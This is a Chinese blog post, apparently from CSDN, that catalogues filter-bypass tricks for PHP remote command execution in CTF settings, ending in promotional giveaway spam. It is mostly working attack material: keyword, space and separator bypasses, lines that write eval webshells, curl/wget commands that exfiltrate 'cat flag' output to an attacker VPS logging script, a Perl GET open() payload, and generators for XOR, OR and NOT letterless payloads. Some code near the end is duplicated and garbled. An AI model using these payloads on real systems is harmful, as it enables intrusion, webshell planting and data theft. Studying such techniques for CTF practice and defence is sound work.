命令执行(RCE)面对各种过滤,骚姿势绕过总结

1、什么是RCE

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

2、RCE产生原因

服务器没有对执行命令的函数做严格的过滤,最终导致命令被执行。

3、命令执行函数

PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

4、面对过滤绕过方法

1、过滤关键字,如过滤 cat,flag等关键字

替代法

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

使用转义符号

ca\t /fl\ag
cat fl''ag

拼接法

a=fl;b=ag;cat$IFS$a$b

img

使用空变量KaTeX parse error: Undefined control sequence: \* at position 1: \̲*̲和@, x , x, x,{x}绕过

img

反引号绕过

img

编码绕过

1、Base64

img

2、8进制

3、16进制

正则表达式绕过

img

利用未初始化变量$u让绕过

2、过滤命令执行函数,如过滤system()

编码绕过

img

内敛执行绕过

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

img

3、过滤一些读取文件的命令(如cat)

绕过方法

[root@kali flag123]# curl file:///flag123/flag
  flag{suifeng}
  [root@kali flag123]# strings flag 
  flag{suifeng}
  [root@kali flag123]# uniq -c flag
        1 flag{suifeng}
  [root@kali flag123]# bash -v flag
  flag{suifeng}
  flag: line 1: flag{suifeng}: command not found
  [root@kali flag123]# rev flag
  }gnefius{galf
  [root@kali flag123]#

find – 列出当前目录下的文件以及子目录所有文件

img

4、过滤空格

%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

5、过滤目录分割符

采用多管道命令绕过
127.0.0.1||cd flag_is_here;cat flag_262431433226364.php

img

6、过滤分割符 | & ;

  ;  //分号
  |  //只执行后面那条命令
  ||  //只执行前面那条命令
  &  //两条命令都会执行
  &&  //两条命令都会执行
  %0a      //换行符
  %0d     //回车符号
  
  用?>代替;
  在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。

7、过滤括号

8、输入字符串长度限制

img

#  \指的是换行
  #  ls -t是将文本按时间排序输出
  #  ls -t >shell  将输出输入到shell文件中
  #  sh将文本中的文字读取出来执行

9、利用$PATH环境变量绕过

利用环境变量来截取字母达到绕过过滤

img

假如数字被过滤,我们还可以利用环境变量的长度来进一步绕过过滤

for i in `env`; do echo -n "${i%=*} lenth is
";echo ${i#*=}|awk '{print length($0)}'; done |grep 5 

img

img

10、无回显

一、Shell_exec等无回显函数

方法一、

1、判断是否执行成功我们可以用sleep()

eg:ls;sleep(5);

2、用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)

copy flag 1.txt
  mv flag 1.txt
  cat flag > 1.txt
  tar zcvf flag.tar.gz flag
  echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
  echo "<?php @eval($_POST['suifeng']); ?>" > webshell.php

利用上述操作产生新的文件,然后我们在对新的文件进行访问

img

img

img

img

方法二、

用vps建立记录脚本

1、首先在自己的公网ip的网站目录下建立一个record.php的文件,里面写下如下代码

<?php
    $data =$_GET['data'];
    $f = fopen("flag.txt", "w");
    fwrite($f,$data);
    fclose($f);
    ?>

2、第二步我们开始构造请求

  curl http://*.*.*.**/record.php?data=`cat flag`
  wget http://*.*.*.*/record.php?data=`cat flag`

测试

这里是上帝视角(为了师傅们更直观理解)

首先看目标网站上的文件

img

接下来看自己服务器上的文件

img

我们在目标站点执行如下命令

img

这样我们在自己的服务器上就会产生一个flag.txt文件,然后进行查看

img

有时会读取不全,这里我没碰到,读取不全的话我们可以进行一个编码,如下。

curlhttp://*.*.*.**/record.php?data=`catflag|base64`
wgethttp://*.*.*.*/record.php?data=`catflag|base64`

更多参考https://blog.csdn.net/qq_43625917/article/details/107873787

二、>/dev/null 2>&1类无回显

代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。

img

该种无回显我们用分隔符进行分割即可绕过

img

11、Perl中open命令执行(GET)

源码

192.168.122.180 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }


    echo $_SERVER["REMOTE_ADDR"];


    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);


    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

代码审计

首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来,然后通过explode函数分割,在把ip地址截取出来,在用echo函数输出出来,这就是我们第一行看到的IP地址

img

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

sandbox变量为sandbox/后面拼接一个(orange拼接输出的ip)的MD5值在通过

@mkdir($sandbox);

@chdir($sandbox);

创建sandbox这个目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

首先我们到kali里面去测试一下这个GET有什么作用

img

这里GET一个根目录,功能类似于ls把它给列出来

可以读取文件

img

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

那么这句代码的意思就是,把shell_exec中GET过来的结果保存到escapeshellarg中用get(此处get为get请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。

然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了。

构造参数

首先我们GET根目录且让其放进test目录里

img

然后我们对其访问,路径是sandbox+拼接的MD5值+test

img

根目录下有flag和readflag文件,但是打不开,我们要利用readflag去读取flag,接下来就到我们标题所说的

Perl中open命令执行(GET)内容了。

因为GET的底层是使用open函数的,如下

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or returnnew

而这个open函数会导致我们的RCE,最终造成GET的RCE

img

因为GET使用file协议时候会调用perl中的open函数

img

这里够造了好久也没构造出来,看了下wp,执行命令需要满住如下条件

要执行的命令先前必须要有以命令为文件名的文件存在(这里不是很理解,大佬可以告知一下)

既然要满住这个条件,那我们构造的payload如下

1、?url=&filename=|/readflag
2、?url=file:|/readflag&filename=test 

最终访问拿到flag

img

test 

最终访问拿到flag

12、无字母数字RCE

代码示例

<?php
  error_reporting(0);
  highlight_file(__FILE__);
  $code=$_GET['code'];
  if(preg_match('/[a-z0-9]/i',$code)){
      die('hacker');
  }
  eval($code);

代码分析

这里先代码很好理解接收一个code参数,进行一个正则匹配,匹配所哟的字母和数字,匹配到了结果返回一个hacker字符串,且结束代码。

这里很明显要绕过这个正则然后运行eval函数达到我们的命令执行

绕过(这里我们利用异或、或、取反等操作进行绕过)

1、异或—首先利用如下脚本生成包含所有可见字符的异或构造结果。

<?php
    $myfile = fopen("res.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 
    
        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }
      
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

运行python脚本生成我们的payload

import requests
    import urllib
    from sys import *
    import os
    def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("res.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"^\""+s2+"\")"
       return(output)
       
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
       print(param)

运行结果

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%04%09%09"^"%60%60%7b");

img

img

这里注意一下php的版本,尽量选择php的高版本,低版本可能会导致执行不成功

2、或—原理一样就是脚本稍微改变一下

<?php
    $myfile = fopen("res.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 
    
        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }
      
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

python脚本

import requests
    import urllib
    from sys import *
    import os
    def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("or_rce.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"|\""+s2+"\")"
       return(output)
       
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
       print(param)

3、取反—取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可

<?php  //在命令行中运行
    fwrite(STDOUT,'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,'[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
    ?>

img

          if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)



**3、取反---取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可**

```text
<?php  //在命令行中运行
    fwrite(STDOUT,'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,'[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
    ?>

[外链图片转存中…(img-DrpcWCW4-1720519522680)]

img
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

  • 30
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值